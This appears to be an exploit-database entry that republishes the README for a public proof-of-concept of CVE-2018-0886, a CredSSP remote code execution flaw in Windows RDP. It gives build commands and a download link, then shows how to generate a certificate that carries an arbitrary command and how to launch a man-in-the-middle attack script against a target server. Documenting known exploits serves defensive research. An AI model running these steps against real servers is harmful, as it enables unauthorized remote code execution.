Materialized exploit

CVE-2018-0886

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote windows

Source

Microsoft Credential Security Support Provider - Remote Code Execution

By Preempt

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code md

# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay.


Written by Eyal Karni, Preempt
ekarni@preempt.com

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file..
It was tested on Ubuntu 16.04.

```
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
```

EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44453.zip

* It assumes a pretty clean inital state. Best to uninstall first relevant compontants such as cryptography,pyopenssl maybe (pip uninstall cryptography).
* A different version of openssl needed to be installed for this to run successfully.  The install script does that.
* Please follow the instructions in the described order.

# Running the exploit


Export a certificate suitable for Server Authentication from any domain.


To generate a suitable certificate for the command to execute :

```
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD
```

(exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script:

```
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
```

More details are in the usage section of the scripts(--help).